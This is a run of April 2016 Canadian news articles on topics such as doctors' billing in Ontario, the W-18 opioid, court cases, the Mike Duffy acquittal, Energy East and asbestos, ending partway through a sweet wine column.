Now Im not saying these doctors did anything wrong, he said. What I am saying is that there is an inequity in the fee code structure that has created this unfairness.

There are a great number of doctors who prescribe methadone for people with opiate addictions clustered around the million-dollar mark in part because they are paid $35 for a urine dipstick test that cost $2 to $3, said Hoskins.

We found that in many cases physicians were earning more than half of their total billings from that one procedure, he said. We pay our community labs $10.

The province spends $11 billion annually on physician compensation, but has to find hundreds of millions of dollars more at the end of year because there are no caps on billings by doctors, who earn an average of $368,000, added Hoskins.

Unpredictable and frankly uncontrolled billing by some doctors is a problem that leaves less for family doctors and others, squeezes our ability to invest more in home care and community care, and robs us of our capacity to responsibly plan our health care spending each year, he said.

The Liberal government has been locked in a fight with the Ontario Medical Association, which represents 34,000 doctors and medical students, after it imposed a series of fee cuts last year.

The OMA has said the best way to get a new fee agreement is for the government to agree to binding arbitration, something Hoskins said he was willing to consider if the doctors return to negotiations, which broke off in January, 2015.

We created a sub-committee at their request to look specifically at the issue of arbitrationand they decided abruptly one afternoon to end those negotiations and walked away, he said. Weve never said no to arbitration.

The OMA asked Hoskins on Friday to clarify his position on arbitration directly with them, not through the media.

Ontarios doctors have long said that strengthening patient-focused care requires a fair and predictable agreement that includes binding arbitration, said OMA president Mike Toth. In order to move forward with the process of meaningful negotiations, rather than negotiate in public and mischaracterize the facts, Ontarios doctors ask that Hoskins clarify his position directly with the OMA.

___

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VANCOUVER  British Columbias Conservation Officer Service says an internal policy review related to last years high-profile case of an officer refusing to euthanize two orphaned bear cubs will soon be complete.

The public-safety providers deputy chief Chris Doyle says he doesnt believe anything was wrong with a policy that suspended Bryce Casavant and later transferred him for refusing an order that he kill a pair of cubs deemed habituated to humans.

Doyle says the findings of their review will be coming out not too far down the road.

Casavant won the hearts of animal lovers last July when he opted not to shoot the cubs after their mother was destroyed for repeatedly raiding a home near Port Hardy on northern Vancouver Island.

Julie Mackey is a wildlife manager at the rehabilitation facility where the cubs are living and says they are doing well and havent shown any signs of poor behaviour since their arrival last summer.

Mackey says the cubs are scheduled for release later this year and that the real test of their success will be how they perform in the wild.
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EDMONTON  Health Canada says it is moving quickly to include the dangerous synthetic opioid W-18 under the federal Controlled Drug and Substances Act but maintains the drug is already illegal under another law.

The department says it considers W-18, which police say is 100 times more powerful and toxic than fentanyl, to be a new psychoactive substance after testing two samples from Alberta.

The Alberta government has been urging Ottawa to take action after police in Edmonton seized four kilograms of W-18 in December.

Police have said there was enough of the white powdery drug to make millions of pills and Alberta officials sent out a warning to front-line health staff to watch for a possible increase in overdoses.

There were 272 fentanyl-related deaths in Alberta last year and health officials in the province consider W-18 to be more dangerous.

Health Canada says it is moving to treat W-18 as a Schedule 1 drug, which would make its unauthorized use illegal under the Act.

This would result in imposing restrictions like those for other opioids, such as fentanyl and heroin, Rebecca Gilman, a Health Canada spokeswoman, wrote in an email Thursday.

Gilman did not indicate when the designation would take effect.

In the meantime, Health Canada said W-18 is not an authorized drug for human consumption under the Food and Drugs Act, and as such its sale and distribution is illegal in Canada.

Small amounts of W-18 have previously been found in Calgary and British Columbia.

Health Canadas website says W-18 was developed as a painkiller and was patented in Canada and the United States in 1984.

The website says W-18 has never been marketed commercially and there is no known evidence demonstrating that W-18 has any actual or potential uses apart from scientific research.

Police suspect W-18 is being brought into Canada from offshore.

Alberta Justice Minister Kathleen Ganley said police and health officials are worried about W-18 because criminals can mix it with other drugs.

She said it is important for governments and police to get ahead of this drug before it becomes more widely distributed.

Very small amounts of the substance can kill you, Ganley said Thursday.

The public really needs to understand that this can be in anything, that it is incredibly potent, it is incredibly lethal.
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The executive director of the health centre that Brandon University has been consulting with as it revamps its sexual assault and violence policy is optimistic the changes BU senior administration have been touting will make the campus safer.

An access to information request, filed and reported by CBC, showed that the university has no minutes or agendas on file from any of the 12 Task Force on Sexual Assault meetings they say happened between Oct. 29 and Dec. 15, 2015. The report is the latest scar on the institution following revelations that its administration asked a sexual assault complainant to sign a behavioural contract that banned her from speaking to anyone but a counsellor about her allegations.

Last Friday, BU released the meeting dates along with a partially redacted interim report prepared by the three-person task force, struck after administrators learned of the allegations last fall. Nadia La Rosa, who works in Klinics Sexual Assault Crisis Program, was listed as an adviser to the task force in the report.

Nicole Chammartin, executive director of Klinic Community Health, confirmed that La Rosa was involved in a couple of meetings with BU, and was consulted on the interim report.

Calls to Dr. Michael Stanbrook, a clinical psychologist and neuropsychologist who was also listed as an adviser, werent returned by press time.

(La Rosa) has been in ongoing discussions with Brandon University and actually, Im in Brandon in a week and Im also meeting with them when Im out there, Chammartin said.

La Rosa was out of the province and not available for comment on Thursday, but Chammartin said shes familiar with La Rosas involvement with BU.

Neither Klinic, which was also involved in formulating the University of Winnipegs sexual misconduct protocol, nor La Rosa would comment specifically on the process another organization takes, Chammartin said.

I think the (BU) administration has absolutely acknowledged that the behavioural contract shouldnt have been used. I think we probably share an opinion thats not best practice. I also think theyve also acknowledged theyve been trying to work on things, she added.

Chammartin also works as the executive director of Sexuality Education Resource Centre, which has offices in Winnipeg and Brandon. She said shes optimistic about BUs push to make campus safer, and recognizes the challenges of quickly affecting system change in a university.

Especially when theres a public focus on something, that does make it hard. It also is an opportunity to put some resources into something to speed up, she said.

Theres lots of good models out there and that weve brought to the table, so I think they can go through the process with some speed if they have the resources and intent and ability. Its more the communicating and rolling it out that tends to take some time.

Chammartin pointed to BUs push to hire a sexual assault education and prevention co-ordinator, a position several Canadian universities have created, as a strong indication of its intentions.

What we hope to see moving forward, and Im sure we will, is that they are engaging the folks both within and without who have said that theres challenges. I know theres people within their own faculties who have cited issues. Hopefully well see some engagement of those folks, she said.

Stefon Irvine, the de facto leader of the campus group We Believe Survivors  which helped bring the behavioural contract to light last month  said he hasnt heard answers to important questions about the position.

Who are they reporting to? Who pays them? If they were to whistle-blow on a contract like (the behavioural contract) is their job at (risk)? Irvine asked.

That is the positive the university is doing, some of the things they are working on are great and that is good to see. We would just like to see more student voices be a part of that dialogue because as of yet there are no student voices.

On Tuesday, a BU spokesperson said they were very close to having the schools first sexual assault education and prevention co-ordinator hired.

Among other tasks, that co-ordinator will be part of the new standing committee, and contribute to the committees work on new policy and protocol; be the first point of contact for the reporting of any sexual violence, sexual assault or sexual harassment; and arrange and conduct training for the university community, the spokesperson said.

The committee will be first tasked with preparing a draft on BUs stand-alone, dedicated BU policy and protocol on the prevention of and response to sexual violence, assault and harassment.

Although the We Believe Survivors group wasnt given a specific representative, Irvine will be on the standing committee representing BUs LGBT Collective.

 tbateman@brandonsun.com

 Twitter: @tombatemann
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Whether the discussion revolved around health on northern reserves or bringing in a provincewide uniform, members of the Manitoba Nurses Union showed passion this week.

Nurses from across Manitoba came to the Keystone Centre Tuesday and Wednesday for the MNUs 41st annual general meeting. More than 450 delegates discussed things such as bringing clean water to northern communities, one uniform scrub colour for nurses across the province and contracts.

MNU president Sandi Mowat said the unions contract with the province expires March 2017. That means bargaining and bringing issues like mental health care to the table.

Samantha Samson/The Brandon Sun Renate McGowan thanks her friends and other nurses for the Yellow Ribbon Award at the 41st annual general meeting of the Manitoba Nurses Union at the Keystone Centre. More than 450 delegates gathered for the last day of the AGM on Wednesday.

Mostly, we talk about workload and safe patient care, she said. We also talk about mental health in the workplace. Its become apparent nurses are exposed to mental health issues, predisposed to compassion fatigue.

What weve found now is that we need to have more support in the workplace to deal with it, so well lobby for that as well.

The bargaining would have happened regardless, but now that the Manitoba Progressive Conservative party is in power, the conversation might be a bit different. Premier-designate Brian Pallister has stated hes not ruling out privatizing health care, which would bring lots of changes to the MNU.

Were likely in for some turbulent times, but together were strong, said Cindy Murdoch, Manitoba regional representative from the Canadian Labour Congress. And strong works.

Another issue members discussed was raising the wage that licensed practical nurses receive in Manitoba. Right now, Mowat said the difference between a registered nurses wage and a licensed practical nurses wage is around 26 per cent.

The argument is LPNs are getting more training and are able to do more, so they should be earning more, too.

(An LPNs) scope of practice has increased quite a bit and weve lobbied lots to get them back into acute care facilities, Mowat said. They feel the difference in wage between RNs and LPNs is too wide. There wasnt really a debate, it was all mostly supportive. We as nurses value the work we all do.

Once the business was over, certain members of the MNU were given the Yellow Ribbon Award, a recognition of grassroots advocacy in hospitals throughout the province.

One of those members was Renate McGowan, a RN from Bethesda Regional Care Facility in Steinbach. Many nurses at that hospital were leaving due to poor management, she said. McGowan, however, decided the nurses were stronger as a group, and inspired many staff members to stay.

We all kind of made a pact that wed stick it out, McGowan said. We were losing a lot of nurses and we just pulled together and said lets do this together. I did what everybody wanted, I was just their voice.

The nurses who won the Yellow Ribbon Awards were given standing ovations from the crowd. But whether the colour in question is yellow or blue, Mowat said nurses work hard for patient care.

Im optimistic well be able to work together, Mowat said of the new government. At the end of the day, we have the same goals. Im hopeful the government of Manitoba will want to advocate for healthy Manitobans and thats what nurses always want to do.

 ssamson@brandonsun.com

 Twitter: @samanthassamson
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A man who threw a glass, but missed his intended target and hit a woman in the face instead, has been jailed for the assault that caused extensive damage to the victims mouth.

In court, Reginald Martin Beaulieu said sorry for the accident.

I just feel bad for what I did. I didnt mean to hit her, Beaulieu said as he was sentenced on Thursday to 10 months in jail.

Judge John Combs rejected Beaulieus request for a conditional sentence  he was on a conditional sentence for a prior assault when he committed this one.

He was in breach of his curfew and an order to abstain from alcohol.

Plus, Combs said, Beaulieu had a prior record of assaults, and the matter was too serious for the offender to serve his time in the community.

Beaulieu had gone to the Crystal Hotel on Halloween 2015 to drink and party as he was sure that he was going to be sentenced to jail in a few days on another matter.

He was outside waiting for a ride  sipping from a large glass  when a truck pulled up that contained the victim, her boyfriend and others who planned to go to the Crystal bar.

Beaulieu says he mistakenly believed that the victims boyfriend, who was driving, was his own friend and claims that he opened the truck door because he thought it was his ride. The victims boyfriend told police that he believed Beaulieu was trying to steal his truck.

The men had squared off, ready to fight, in the middle of Pacific Avenue when Beaulieu hurled his glass at his would-be opponent, but missed.

It hit the mans girlfriend in the mouth and she dropped to the ground, unconscious.

She was taken to hospital with damage to her mouth  three teeth had been knocked out, one had to be pulled and numerous teeth were cracked and chipped. She also had whiplash and a concussion. She was told she may lose a part of her top lip.

Beaulieu was given credit for 137 days in remand, which was subtracted from his 10 month sentence, leaving 163 days remaining. When he gets out, hell be on probation for two years.

 ihitchen@brandonsun.com

 Twitter: @IanHitchen
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NEW WESTMINSTER, B.C.  A British Columbia man notorious for making child pornography where his face was obscured with a swirl apologized in court Friday to his victims in Southeast Asia and said he wants to change his behaviour.

Christopher Neil told a B.C. Supreme Court that he no longer believes sex with children is acceptable anywhere in the world at the conclusion of his sentencing hearing. He pleaded guilty in December to five child-sex crimes.

I do not now see the world as I did, mistakenly, during the time when I offended, said Neil, 41, who spoke with a shaky voice.

Convicted pedophile Christopher Neil leaves Richmond Provincial court in Richmond, B.C., Wednesday, Oct. 3, 2012. THE CANADIAN PRESS/Jonathan Hayward

I will do everything I can and it is my full intention to change my life.

Neil has been held in custody since the RCMP Child Exploitation Unit arrested him two years ago on 10 charges, including producing images in Cambodia in 2003 that brought him under the scrutiny of Interpol.

He was dubbed Swirl Face by international media after authorities released pictures of a man engaged in sex acts with two young boys, showing his face disguised by a digital swirl.

Neil wore glasses and looked heavier in the image that led to his capture in Thailand in 2007. He later served nearly five years in prison for unrelated abuse of two boys but was released early and returned to Canada in fall 2012.

Court has heard he met his victims, two boys, over two days in an impoverished district know for child-sex tourism outside the Cambodian capital of Phnom Penh in February 2003.

Neil paid them to create images where he is depicted naked with the children on a bed in a small hotel, court heard.

He told the court he doesnt want to produce any child pornography and regrets offences where he accessed child pornography in Canada in 2013.

Neil told the judge he wants to say sorry to the unnamed victims in the Cambodian images, adding he didnt fully appreciate the effects on them until he heard about their lives during his sentencing hearing.

The court heard a Canadian investigator tracked down and interviewed one of the victims, who reported he was 13 at the time. The man, now about 25, was terrified of being exposed and at risk of suicide.

Crown attorney Brendan McCabe asked the judge to sentence Neil to five years prison, which would amount to one more year after time served. McCabe told the court that Neil is a pedophile and cant change.

Neil said he believes he can change.

And I will try my best, I will do everything I can to not offend again.

I am very sorry and I just want to say to all the victims  in this court case and others that I dont know about and that have been harmed by my actions, I am sorry. I think about my actions daily.

Neils lawyer asked the judge for a sentence of time served, arguing further incarceration wouldnt help with his clients rehabilitation or reintegration.

Neil has been in segregation for the past two years awaiting trial and now wants to be released so he can work, Mark Thompson told the judge.

Its going to be a tough time, but hes an intelligent man, he has insight into the offences and that goes a long way in the file, Thompson said outside court.

The judge reserved his decision and has set a date in early June for sentencing.

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VICTORIA  A Victoria police officer who advocates for the legalization of drugs while off-duty has been awarded $20,000 in a human rights case that pitted the nine-year veteran against his employer.

The British Columbia Human Rights Tribunal sided with Const. David Bratzer, saying the Victoria Police Department interfered with his rights as a citizen to freely express his views and ordered the award for injury to dignity, feelings and self-respect.

Today, its fair to say that employees, in particular police officers, have more freedom to engage in debates about public policy issues than they ever have before in this province, Bratzer said in an interview on Friday.

The tribunal ruled in an 86-page decision that Victoria police restrained or attempted to restrain Bratzers off-duty public advocacy activities as a member of the international organization, Law Enforcement Against Prohibition. Members of the organization include current and former law enforcement officials.

The tribunal says Victoria police interfered with Bratzers rights in five of eight complaints he made, including prohibiting him from attending a harm reduction conference in Victoria, speaking at a federal Green party event and refraining from commenting to the media about a successful 2012 marijuana referendum in Washington state.

I accept that, for the most part, the VicPD was sincerely trying to feel its way through a confounding issue attempting to balance the interests of a long-standing public institution that is paramilitary in nature while recognizing Mr. Bratzers right to express his views on this topic, tribunal member Walter Rilkoff wrote in the decision.

Nevertheless, the interference was of a significant right afforded to all citizens of this country and province, including police officers, and any award must recognize the seriousness of that interference.

Acting Chief Const. Del Manak of Victoria police said in a statement the department accepts the decision, will seek to learn from it and an appeal is currently not planned.

Bratzer filed the complaint against the department in February 2013, saying it tried on numerous occasions to restrain his off-duty public advocacy for Law Enforcement Against Prohibition.

We say that the more dangerous the drug is, the more reason you have to regulate it and control it through legalization, said Bratzer. Thats why we support the regulation, the control of all drugs as opposed to just some of them because at the end of the day, its the policy of prohibition that has failed globally.

The organization also links its approach to helping people get treatment.

We want to find a way to keep people alive until they can successfully enter and complete some kind of program to address their addiction issues, said Bratzer.

He said he doesnt believe his off-duty views on drugs affect his duties as a police officer.

I have great relationships with my co-workers, Bratzer said. Over the years, theyve come to see when Im on-duty I still enforce the drug laws within the bounds of my discretion.
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OTTAWA  After a three-year hiatus from his third-floor office in the Centre Block, Mike Duffy was let back into the Senate on Thursday, with access once again to the full resources of the upper chamber.

Senate officials announced his full standing within hours of a verdict that cleared Duffy of 31 charges.

But the decision does not end the Senate expenses scandal.

Justin Tang / The Canadian Press files Senator Mike Duffy arrives for his first court appearance in Ottawa on Tuesday, April 7, 2015. Just more than a year later, a judge has cleared Duffy of all charges.

One current and one retired senator still face trials for questionable housing expenses. And seven former senators face the possibility of being taken to the court by the Senate itself if they dont hand over almost $528,000 for improper expenses by the end of Friday.

It all means there are still open wounds in the Senate from the spending scandal that rocked the upper chamber for three years  at times sidetracking senators from debating legislation and delivering a blow to the credibility of its members.

Its been a difficult time for the Senate for the last three years, said independent Sen. John Wallace from New Brunswick.

Its obviously affected the senators who have been suspended, those who have been charged, but it affects all of us. All of our reputations have suffered, our credibility. But were going to build that back.

Duffy lost access to his office and Senate expense account three years ago when he was suspended without pay. The same fate befell senators Patrick Brazeau and Pamela Wallin.

Brazeau faces his own fraud and breach of trust trial this year over housing expenses, and Wallins expense file has been with the RCMP for three years.

Duffy gained back his salary last summer when Parliament was dissolved for the election, as did Brazeau and Wallin, but not the other perks of the job until his acquittal Thursday on 31 criminal charges stemming from his Senate expenses.

Experts say that for Brazeau, the ruling could influence how the court sees his fraud and breach of trust charges over his housing expenses, which he has always maintained were proper. And for Wallin, it could mean a fresh look at the criminal investigation that has gone on for three years without any charges laid or the allegations against her tested in court.

The judges ruling in Duffys case laid a possible foundation for any other judge to determine what is and isnt worthy of being charged to taxpayers, and drew a clear line between administrative irregularities and criminal activity, said Carissima Mathen, an associate law professor from the University of Ottawa.

As much as we might not like the way that the Senate was being runthats an administrative problem, but it doesnt by itself rise to the level of criminal conduct, Mathen said.

Thats something that I think the Crown will want to consider when its looking at the actual context of each of the expenses.

The case against Duffy, a Prince Edward Island senator, launched a sweeping change in the oversight and guidelines for senators spending, with a probing audit of senators expenses. That audit found problems with the spending of 30 senators, 24 of whom have since been cleared by the RCMP of any criminal conduct.

After the Duffy scandal first broke, senators and then MPs agreed to post more details of their spending. The Senate reworked its spending rules on multiple occasions, laying out more guidelines for trips and residency claims as two outside auditing firms, the auditor general and a former Supreme Court justice raised questions about their clarity.

Ontario Court Justice Charles Vaillancourt, after reading his verdict in Duffys criminal trial, suggested more work needs to be done.

He pointed out that the Senate had made significant changes, moving from guidelines to policy to give direction to the senators regarding various financial matters. But he said the ongoing issue of senators mixing the personal and professional business on trips strikes a chord with some people.

Duffys lawyer, Donald Bayne said the judgement wasnt a sweeping precedent for parliamentarians, but a message to other senators about using their expense accounts wisely.

There are practices that have to be cleared up and rules that have to be tightened up and its not enough for the Senate to say or certain members of the Senate to say, well, we know whats intended. Everybody has to know whats intended, Bayne told reporters outside the courthouse.

Sen. Larry Smith, a former executive on the Senates internal economy committee that oversees spending rules, said those rules were and remain clear.

As senators, our job is not only to serve the public, but its to make sure that were able to understand the rules and make a decision at the end of the day which is based on one thing: Is it the right thing to do in terms of spending taxpayers money. So all of us are judged.
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REGINA  Premier Brad Wall says he hopes a uranium operation in northern Saskatchewan will eventually reopen, but he doesnt think that will happen any time soon.

Mining giant Cameco (TSX:CCO) announced Thursday that it is suspending work at the Rabbit Lake mine, because of an oversupply of uranium around the world, caused in part by the shutdown of nuclear facilities in Japan.

About 500 jobs will be lost at the mine and another 85 at the companys U.S. operations.

Its a terrible day for northern Saskatchewan, for those 500 people that have lost their jobs, at least temporarily, Wall said Friday.

If theres some hope, its that theyre not closing it completely and permanently, that they are going to keep 100-plus staff there in terms of maintenance, for the occasion when prices regain strength and it can potentially open.

But the premier added that he doesnt believe theres any expectation on the part of industry or analysts that prices will be coming back to the extent that they would need to for Rabbit Lake to reopen any time soon.

Wall said a team from the Economy Ministry will help those who have been laid off to identify other jobs or retraining opportunities.

Cameco CEO Tim Gitzel travelled to the mine to meet with employees.

Its a tough decision so I wanted to be there to explain it to them face to face, he said Thursday. (Theyre) obviously disappointed, but they know our business, they know our company. Rabbit Lake is a higher cost mine and had a limited life.

Cameco said it will offer employees exit packages and will consider relocating workers to other Cameco facilities.

About 150 people will be kept on at Rabbit Lake to maintain the facility and to do environmental monitoring and reclamation. That transition work is expected to be completed by the end of August.

Rabbit Lake has produced more than 91 million kilograms of uranium concentrates since production began at the Saskatchewan facility in 1975.

Gitzel said the mine was old and small compared with the companys two other mines in the province, which each produce as much as 9.7 million kilograms of uranium a year. Rabbit Lake only produced about 1.8 million kilograms.

He said the market has been soft for about five years since a 2011 earthquake and tsunami caused a nuclear meltdown at three reactors in Fukushima, Japan. Uranium is selling for about two-thirds less than it did before the accident.

Theres certainly an excess inventory of uranium available around the world so thats driven the prices way down.

The company also said it will reduce its 2016 production target at the McArthur River/Key Lake operation, given the current state of oversupply in the market.

Wall said the province will work with companies and the federal government to find new markets and build demand for Saskatchewan uranium.

When prices strengthen, if they dont come back to the point that Rabbit Lake makes sense for this company, there might be other opportunities for production increases from companies.

That would mean Saskatchewan people working again, he said.
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Highlights from the news file for Thursday, April 21:

SENATOR DUFFY CLEARED: Sen. Mike Duffy has been cleared of all 31 fraud, breach of trust and bribery charges he had been facing in relation to the Senate expense scandal. Ontario Court Justice Charles Vaillancourts judgment amounts to a vindication for Duffy and an indictment of the tactics of the Prime Ministers Office under Stephen Harper. Its the finale to a political drama that dispatched Harpers chief of staff Nigel Wright, staggered the Conservative re-election campaign and embarrassed and diminished the Senate.

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Senator Mike Duffy leaves the courthouse at the conclusion of his trial on Thursday, April 21, 2016 in Ottawa. Duffy has been cleared of all 31 fraud, breach of trust and bribery charges he had been facing in relation to the long-running Senate expense scandal. THE CANADIAN PRESS/Justin Tang

MUSICS PRINCE FOUND DEAD: Pop superstar Prince, widely acclaimed as one of the most inventive and influential musicians of his era with hits including Little Red Corvette, and When Doves Cry, was found dead at his home in suburban Minneapolis, according to his publicist. Prince, 57, broke through in the late 1970s with the hits Why You Wanna Treat Me So Bad? and I Wanna Be Your Lover, and soared over the following decade. Among the reactions: Stunned. This cant be real, from Justin Timberlake. And, R.I.P PRINCE, another icon gone to soon, from Shaquille ONeal

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THE ELIZABETHAN ERA: Fate unexpectedly made her Queen. Duty and endurance have made her an institution and an icon. The Queen turned 90 on Thursday as Britains oldest and longest-reigning monarch, drawing crowds of well-wishers and floods of tributes to the stamina and service of a woman who can claim to have given her name to the age. Britain is living, Prime Minister David Cameron said, in the modern Elizabethan Era.

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CANADAS CLIMATE ACCORD BAGGAGE: Prime Minister Justin Trudeau will be dragging plenty of baggage to the United Nations on Friday when he joins some 150 other countries in signing the Paris climate accord. A new report from the Conference Board of Canada ranks Canada 14th among 16 peer countries when it comes to environmental performance, with only the United States and Australia doing worse. And the parliamentary budget office has crunched the national numbers to find that Canadas emissions of greenhouses gases currently are on track to increase through 2030.

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TRUDEAU DEFENDS PIPELINE: Prime Minister Justin Trudeau fielded a series of questions from students at New York University on Thursday  one about how he could justify backing new oil pipelines after campaigning on climate change. Trudeau replied that the best path to a clean energy future involves being flexible.

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PLEA FOR CHANGE ON ASSISTED DYING: Parliamentarians are being urged to amend a proposed new law on medically assisted dying by the children of the woman whose suffering was central to the Supreme Courts decision to strike down the ban on assisted death. Lee and Price Carter say their late mother, Kay Carter, would not have qualified for medical help to end her life under the restrictive provisions of the bill introduced last week by the Trudeau government in response to the top courts ruling.

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RALLY FOR JAILED SAUDI BLOGGER: Canada needs to enhance its reputation as a defender of human rights and do more to free Raif Badawi, a spokeswoman for Amnesty International Canada said Thursday at a rally in support of the jailed Saudi blogger. Badawis wife, Ensaf Haidar, was among several dozen people who waved bright yellow signs bearing pictures of him and other prisoners of conscience as they chanted slogans calling for their release.

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SEX TOURISM SENTENCING: A prosecutor has asked for a five-year prison sentence for a British Columbia man notorious for images of himself abusing young boys in Southeast Asia. But even if a B.C. Supreme Court judge agrees with the Crowns request, Christopher Neil would serve about 10 months after time he has already served awaiting trial. Neil pleaded guilty in December to five charges including counts under Canadas rarely used child-sex tourism laws.

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BOSMA TRIAL: The former girlfriend of a man facing murder charges in the death of Tim Bosma says her boyfriend told her that it was his co-accused who shot and killed the Hamilton man. Marlena Meneses told court Thursday that her boyfriend, Mark Smich, said it was Dellen Millard who killed Bosma in May of 2013.

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BABY CONCEALMENT TRIAL: A neo-natal expert says some, if not all, of the six infants found concealed in a Winnipeg storage locker were born alive.Dr. Michael Narvey is testifying at the trial of Andrea Giesbrecht, who is charged with concealing the babies remains. Narvey says the infants were all at or near full term  34 to 42 weeks.

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HARDSHIP FOR ECUADOR AFTER QUAKE:President Rafael Correa said Ecuadors worst earthquake in decades caused billions of dollars of damage and he is raising sales taxes and putting a one-time levy on millionaires to help pay for reconstruction. The damage from 7.8-magnitude quake adds to already heavy economic hardships being felt in this OPEC nation triggered by the collapse in world oil prices. Even before the quake, Ecuador was bracing for a bout of austerity, with the International Monetary Fund forecasting the economy would shrink 4.5 per cent this year.
Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

MONTREAL  TransCanada has heeded the Quebec governments request for a deeper review of Energy East, agreeing to provide more detailed information about the pipeline project.

Environment Minister David Heurtel says the Calgary-based company filed paperwork as required under Quebecs Environment Quality Act and will have to produce an impact study by June 6.

Fridays announcement also puts on hold a review process conducted by Quebecs environmental review agency.

A second round of Energy East public hearings that was scheduled to begin Monday was postponed by Heurtel with a statement thanking participants for their contributions.

The first hearings before the BAPE (the French-language acronym for the environment review body) wrapped up in March with citizens from across the province grilling TransCanada (TSX:TRP) executives on the risks and costs associated with the pipeline.

Energy East would bring 1.1 million barrels of oil a day from Alberta and Saskatchewan through Quebec and into News Brunswick for overseas shipping.

The 4,600-kilometre project includes existing TransCanada pipeline as far east as Montreal, plus new pipeline to be constructed through Quebec.

The project has run into stiff opposition in Quebec, with politicians, citizens and ecologists questioning whether the environmental risks outweigh the economic rewards.

Fridays agreement could end an impending legal fight between the two: the province had filed an injunction to force TransCanada to be subjected to the more rigorous review process.

Other environmental groups who were also asking for an injunction were lumped in with the provinces request.

Quebec said it is committed to withdrawing the application upon approval of the environmental impact study.

Both TransCanada and the provincial government have pledged to respect a strict timetable.

Company spokesman Tim Duboyce says TransCanada and the province looked for a mutually acceptable path forward  and the assessment was what both sides agreed to.

This is an addition to the comprehensive environmental review completed by the federal regulator, the National Energy Board, Duboyce noted in an email.

Duboyce called it a positive development that will address Quebecs wish for more information while ensuring the NEB regulatory process wont be unduly delayed.

Pipelines that cross provincial boundaries are subject to a federal environmental review process administered by the NEB.

Provinces conduct their own reviews to help come to a position that are considered by the NEB before it makes a recommendation.

The federal cabinet makes the final decision.

Proponents of the project say the pipeline is vital to the development of Albertas oilsands, improving the countrys GDP and creating the money needed to transition to a lower-carbon economy.

Opponents have countered the pipeline will increase Canadas greenhouse gas emissions and prevent the country from meeting its climate-change commitments.

TransCanada maintains that pipelines are safer and more environmentally friendly than other options for transporting oil.

The cost of the pipeline is estimated at $15.7 billion, which doesnt count the existing pipeline assets that will be converted for use in Energy East, hopefully by 2020.
Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

OTTAWA  Trade unions and affected family members say its long past time to ban all asbestos products in Canada, calling them the countrys number one workplace killer.

A tearful Michelle Cote, whose boiler maker father was diagnosed with deadly, asbestos-caused mesothelioma in 2014, told an Ottawa news conference that no one deserves to die this way.

According to studies funded by the Canadian Cancer Society, more than 2,000 Canadians die from asbestos exposure every year, with 580 new cases of incurable mesothelioma diagnosed in 2014.

Canada closed its last asbestos mine in Quebec five years ago but continues to import millions of dollars of asbestos products, including brake pads for vehicles and pipes used in building construction, with imports nearly doubling between 2011 and 2015.

Hassan Yussuff of the Canadian Labour Congress says hes been in discussion with the Liberal government and is imploring it to quickly pass legislation banning the import and use of materials containing asbestos.

Yussuff says every product currently used containing asbestos is easily replaceable, with many of the safer alternatives  such as ceramic brake pads  manufactured right in Canada.

There is no reason for delay, Yussuff said Friday.

He was flanked at the news conference by several people with personal experience of asbestos tragedies.

My dad, although still alive, is lost, Cote said of her 71-year-old father Clem, the big kahuna with a zest for life who now finds it difficult to speak.

Dad knows we cant help those men and women who have already been exposed, said Michelle Cote. This plea is something he, and we, can do to stop future generations from facing the same death sentence.

For every case of mesothelioma, there four cases of other lung cancers caused by asbestos fibres but less easily identified, said Paul Demers, the director of the occupational cancer research centre at Cancer Ontario.

Asbestos was recognized as a workplace carcinogen in the 1950s and has been banned in several Nordic countries for three decades, but remains legal for use in Canada.

Demers said asbestos-related cancers take many years to develop.

We cant undo the sins of the past but we can take steps to prevent cancer in the future, said the researcher.

Renee Guay, whose father died a gruesome death from mesothelioma in 2011 and whose uncle has since been diagnosed with the disease, said that in her current work she sees contractors who fail to shower after cutting asbestos pipes, potentially carrying deadly fibres home to their families.

Why is it we let this well-known, proven killer walk free? Guay said of asbestos. Who are we really protecting, because certainly its not our fellow citizens.

 Follow @BCheadle on Twitter
Opinion

Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

As regular readers of this column know, Im not fond of sweet wines.

I dont know why, exactly. Perhaps my disdain for such beverages has accompanied my now-many-decades-long non-enjoyment of most sweet foods.

Generally speaking, I dont care for desserts, although, truth be told, Id walk across broken glass for a good cheesecake. And also, in the interest of true confessions, I should admit I enjoy treats like cinnamon buns, or caramel rolls, or apple or saskatoon pie  but I like them for breakfast.

At the end of my dinner, however, Id rather have another glass of wine than dessert. But I do love ports and liqueurs, which are sweet  which sort of blows this whole I dont like sweet stuff pronouncement out of the water.

Regardless, thats the way I am. A mass of contradictions. Confusing to those around me. And admittedly, a bit perplexing to myself as well.

But to restate, I usually dont like sweet wines.

That said, the number of requests I get for recommendations for sweet wines is staggering. And these queries dont come from people who actually drink sweet wines and think what theyre consuming is dry.

(Thats another issue entirely, and a hornets nest I really dont want to stir up.)

Im referring specifically to the full-on, sweet-wine lovers who are looking for something  preferably some things  they can enjoy.

So in no particular order, here are some sweet wines that come highly recommended. Some Ive tried, some I havent. But Corral Centre Liquor Mart product consultant Cindy Rousseau and I have put together a list of sweet wines we think should please those palates with a hankering for sweetness.

First the whites:

 Diabolica White: floral aromas and a citrus mouth feel, and flavours of tropical fruit, peach, and green apple  $16.99, Okanagan

 Henry of Pelham  Silver Bay Cellars Gewurztraminer-Riesling: bright and refreshing with hints of citrus, apple and lychee  $14.95, Niagara

 Vintage Ink Wild White: an aromatic blend of Viognier and Gewurztraminer full of lush tropical fruit and juicy pear  $16.99, Okanagan

 Flat Rock Cellars  Twisted: a blend of Riesling, Gewurztraminer and Chardonnay. Offers citrus, melon, apple and lime zest on the nose with grapefruit, apple, peach, and citrus on the palate  $19.99, Niagara

 Ziergarten Riesling: grapefruit and lime aromas with a hint of mineral. This Riesling comes in a beautiful blue bottle with daisies  $19.99, Germany

 Conviction The Industrialist: light-bodied with peach and other stone fruit and elderflower on the finish  $15.49, Okanagan

 Waterbrook Melange: aromas of mango, peach, nectarine with floral notes, accompanied by tropical fruit and apple notes on the palate, and a citrus and honey tangerine finish. A very pleasant wine  $20.50, Washington

 Conundrum White: honeysuckle, peach, vanilla and citrus aromas, with lush melon, pineapple, pear and lemon zest on the palate. This is truly a lovely wine and one Id highly recommend  $25.99, California

 Bear Flag White: aromas and flavours of peach, apricot, baked apple and pear with a hint of tropical fruit  $12.99, California

 Trivento Aires Dulces Sweet White: a mix of violets, strawberries and jasmine with tropical fruits  $9.99, Argentina

